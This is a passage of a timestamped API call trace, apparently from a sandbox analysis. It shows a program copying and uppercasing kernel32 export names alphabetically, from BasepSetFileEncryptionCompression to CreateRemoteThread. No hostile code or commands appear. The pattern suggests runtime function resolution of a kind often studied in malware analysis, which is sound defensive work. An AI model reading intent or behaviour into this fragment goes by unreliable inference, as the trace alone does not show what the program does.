(lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0149.380] lstrlenA (lpString="BEEP") returned 4 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0149.380] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0149.380] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0149.380] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0149.380] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0149.380] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0149.380] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0149.381] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0149.381] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0149.381] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0149.381] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0149.381] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0149.381] lstrlenA (lpString="CANCELIO") returned 8 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0149.381] lstrlenA (lpString="CANCELIOEX") returned 10 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0149.381] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0149.381] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0149.381] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0149.381] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0149.381] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0149.381] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0149.381] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0149.381] lstrlenA (lpString="CHECKELEVATION") returned 14 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0149.381] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0149.381] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0149.382] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0149.382] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0149.382] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0149.382] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0149.382] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0149.382] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0149.382] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0149.382] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0149.382] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0149.382] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0149.382] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0149.382] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0149.382] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0149.382] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0149.382] lstrlenA (lpString="CLOSESTATE") returned 10 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0149.382] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0149.382] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0149.382] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0149.383] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0149.383] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0149.383] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0149.383] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0149.383] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0149.383] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0149.383] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0149.383] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0149.383] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0149.383] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0149.383] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0149.383] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0149.383] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0149.383] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0149.383] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0149.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0149.383] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0149.384] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0149.384] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0149.384] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0149.384] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0149.384] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0149.384] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0149.384] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0149.384] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0149.384] lstrlenA (lpString="COPYCONTEXT") returned 11 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0149.384] lstrlenA (lpString="COPYFILE2") returned 9 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0149.384] lstrlenA (lpString="COPYFILEA") returned 9 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0149.384] lstrlenA (lpString="COPYFILEEXA") returned 11 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0149.384] lstrlenA (lpString="COPYFILEEXW") returned 11 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0149.384] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0149.384] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0149.384] lstrlenA (lpString="COPYFILEW") returned 9 [0149.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0149.385] lstrlenA (lpString="COPYLZFILE") returned 10 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0149.385] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0149.385] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0149.385] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0149.385] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0149.385] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0149.385] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0149.385] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0149.385] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0149.385] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0149.385] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0149.385] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0149.385] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0149.385] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0149.385] lstrlenA (lpString="CREATEEVENTA") returned 12 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0149.385] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0149.385] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0149.385] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0149.386] lstrlenA (lpString="CREATEEVENTW") returned 12 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0149.386] lstrlenA (lpString="CREATEFIBER") returned 11 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0149.386] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0149.386] lstrlenA (lpString="CREATEFILE2") returned 11 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0149.386] lstrlenA (lpString="CREATEFILEA") returned 11 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0149.386] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0149.386] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0149.386] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0149.386] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0149.386] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0149.386] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0149.386] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0149.386] lstrlenA (lpString="CREATEFILEW") returned 11 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0149.386] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0149.386] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0149.386] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0149.386] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0149.387] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0149.387] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0149.387] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0149.387] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0149.387] lstrlenA (lpString="CREATEJOBSET") returned 12 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0149.387] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0149.387] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0149.387] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0149.387] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0149.387] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0149.387] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0149.387] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0149.387] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0149.387] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0149.387] lstrlenA (lpString="CREATEPIPE") returned 10 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0149.387] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0149.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0149.388] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0149.388] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0149.388] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0149.388] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0149.388] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0149.388] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0149.388] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" 